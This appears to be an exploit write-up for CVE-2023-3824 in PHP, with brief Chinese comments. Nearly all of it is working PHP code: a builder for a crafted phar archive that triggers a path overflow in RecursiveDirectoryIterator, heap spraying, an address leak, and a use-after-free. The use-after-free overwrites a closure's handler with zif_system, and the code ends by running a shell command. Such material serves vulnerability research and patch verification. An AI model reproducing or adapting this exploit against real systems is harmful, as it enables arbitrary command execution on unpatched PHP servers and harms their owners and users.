CVE-2023-3824: 幸运的Off-by-one (two?)

<?php
$a = 320;
for (;$a < 0x200000; $a += 320) {
    if ((($a >> 8) & 0xff) == 0) {
        echo dechex($a)."\n";
    }
}

/*
10040,20080,300c0,50000,60040,70080,800c0,a0000,b0040,c0080,d00c0,f0000,100040,110080,1200c0,140000,150040,160080,1700c0,190000,1a0040,1b0080,1c00c0,1e0000,1f0040
*/

<?php
$a = 0x10040;
$i = 0;
while ($a < 0x20080) {
    $a += 320;
    if (($a & 0xff) == 0x40) {
        echo dechex($a)."\n";
        $i++;
    }
    $j++;
}

echo $i . "\n";
echo $j . "\n";

$it = new RecursiveDirectoryIterator("phar://./m2.phar");

// 定位到`CCCCCCC...CCC`文件夹
foreach ($it as $file) {
    if($file->isDir()) {
    	break;
    }
}

// 创建关于`CCCCCCC...CCC`的RecursiveDirectoryIterator, 其sub_path被初始化为`CCCCCCC...CCC`, 长度为320.
$sub_it = $it->getChildren();

// 读取`CCCCCCC...CCC`中文件, 读取到`BBBBBB...BBBBB`时, 触发overflow, 将sub_path第2个字节写NULL.
foreach($sub_it as $file) {}

$f_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
	$f_arr[$i] = function(){};
}

while (1) {
        $it = create_RDI();
        $sub_it = $it->getChildren();

        // preserve every iterator to avoid double freeing on sub_path
        $it_arr[] = $sub_it;

        // trigger overflow
        foreach($sub_it as $file) {}

        $data = $sub_it->getSubPath();
        
        // refcounted && is_object, zend_closure本身也是一个zend_object, 其鉴别方式为首8字节为0x800000001
        if (read64($data, 0) == 0x800000001) {
            $closure_handlers = read64($data, 0x18);
            break;
        }
    }

$str_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
    $str_arr[$i] = str_repeat('E', 0x140 - 0x20);
    // 作为sub_path是否指向正确位置的unique identifier.
    $str_arr[$i][0] = "I";
    $str_arr[$i][1] = "L";
    $str_arr[$i][2] = "I";
    $str_arr[$i][3] = "K";
    $str_arr[$i][4] = "E";
    $str_arr[$i][5] = "P";
    $str_arr[$i][6] = "H";
    $str_arr[$i][7] = "P";
}

while (1) {
    // init sub_path
    $it = create_RDI();
    $sub_it = $it->getChildren();

    // trigger overflow
    foreach($sub_it as $file) {}

    $data = $sub_it->getSubPath();
    if (substr($data, 0x18, 8) == "ILIKEPHP") {
        // trigger UAF
        unset($sub_it);
        $f = function(){};
        break;
    } else {
        // prevent double freeing
        $it_arr[] = $sub_it;
    }
}

for ($i = 0; $i < 0x2024; $i++) {
    // 1. function type: internal function
    // zend_closure.function.internal_function.type = 0x38
    // zend_string_header = 0x18
    write8($str_arr[$i], 0x38 - 0x18, 0);

    // 2. function handler: zif_system
    // zend_closure.function.internal_function.handler = 0x70
    // zend_string_header = 0x18
    write64($str_arr[$i], 0x70 - 0x18, $zif_system);
}

<?php

if (file_exists("m2.phar")) {
    unlink("m2.phar");
}

$phar = new Phar('m2.phar');

// size of target UAF bin is the size of zend_closure 
$dir_name = str_repeat('C', 0x140 - 0x1);
$file_4096 = str_repeat('A', PHP_MAXPATHLEN - 1).'B';

// create an empty directory
$phar->addEmptyDir($dir_name);

// create normal one
$phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', 32), 'This is the content of the file.');
// trigger overflow
$phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');

<?php

// zif_system_offset - closure_handlers_offset 
$zif_system_offset = -0x8a1390;
$it_arr = array();

$zif_system = leak_zif_system_addr();
echo "[*] zif_system address: 0x". dechex($zif_system). "\n";

trigger_UAF($zif_system);

function create_RDI()
{
    $it = new RecursiveDirectoryIterator("phar://./m2.phar");

    // find the first directory
    foreach ($it as $file) {
        // echo $file . "\n";
        if($file->isDir()) {
            break;
        }
    }
    
    return $it;
}

function leak_zif_system_addr() {
    global $zif_system_offset;
    global $it_arr;
     
    // fill memory chunk with lots of zend_closures;
    $f_arr = [];
    for ($i = 0; $i < 0x2024; $i++) {
        $f_arr[$i] = function(){};
    }

    // find zend_closure
    $closure_handlers = 0;
    while (1) {
        $it = create_RDI();
        $sub_it = $it->getChildren();

        // preserve every iterator to avoid double freeing on sub_path
        $it_arr[] = $sub_it;

        // trigger overflow
        foreach($sub_it as $file) {}

        $data = $sub_it->getSubPath();
        
        // refcounted && is_object
        if (read64($data, 0) == 0x800000001) {
            $closure_handlers = read64($data, 0x18);
            break;
        }
    }

    if ($closure_handlers == 0) {
        exit("bad closure handlers\n");
    }
    
    return $closure_handlers + $zif_system_offset;
}

function trigger_UAF($zif_system) {
    global $it_arr;

    // fill memory chunk with lots of 0x140-size strings,
    // ensure address of some strings that are exactly starting with prefix 0040 or 0080.
    $str_arr = [];
    for ($i = 0; $i < 0x2024; $i++) {
        $str_arr[$i] = str_repeat('E', 0x140 - 0x20);
        $str_arr[$i][0] = "I";
        $str_arr[$i][1] = "L";
        $str_arr[$i][2] = "I";
        $str_arr[$i][3] = "K";
        $str_arr[$i][4] = "E";
        $str_arr[$i][5] = "P";
        $str_arr[$i][6] = "H";
        $str_arr[$i][7] = "P";
    }

    $f = NULL;
    while (1) {
        // init sub_path
        $it = create_RDI();
        $sub_it = $it->getChildren();

        // trigger overflow
        foreach($sub_it as $file) {}

        $data = $sub_it->getSubPath();
        if (substr($data, 0x18, 8) == "ILIKEPHP") {
            // trigger UAF
            unset($sub_it);
            $f = function(){};
            break;
        } else {
            // prevent double freeing
            $it_arr[] = $sub_it;
        }
    }
    // modify closure
    // 1. function type: internal function
    // 2. function handler: zif_system
    for ($i = 0; $i < 0x2024; $i++) {
        // 1. function type: internal function
        // zend_closure.function.internal_function.type = 0x38
        // zend_string_header = 0x18
        write8($str_arr[$i], 0x38 - 0x18, 0);
        
        // 2. function handler: zif_system
        // zend_closure.function.internal_function.handler = 0x70
        // zend_string_header = 0x18
        write64($str_arr[$i], 0x70 - 0x18, $zif_system);
    }

    $f('uname -an');
}

function read64($str, $p) {
    $v = 0;
    $v |= ord($str[$p + 0]);
    $v |= ord($str[$p + 1]) << 8;
    $v |= ord($str[$p + 2]) << 16;
    $v |= ord($str[$p + 3]) << 24;
    $v |= ord($str[$p + 4]) << 32;
    $v |= ord($str[$p + 5]) << 40;
    $v |= ord($str[$p + 6]) << 48;
    $v |= ord($str[$p + 7]) << 56;
    return $v;
}

function write8(&$str, $p, $v){
    $str[$p] = chr($v & 0xff);
}

function write64(&$str, $p, $v) {
    $str[$p + 0] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 1] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 2] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 3] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 4] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 5] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 6] = chr($v & 0xff);
    $v >>= 8;
    $str[$p + 7] = chr($v & 0xff);
}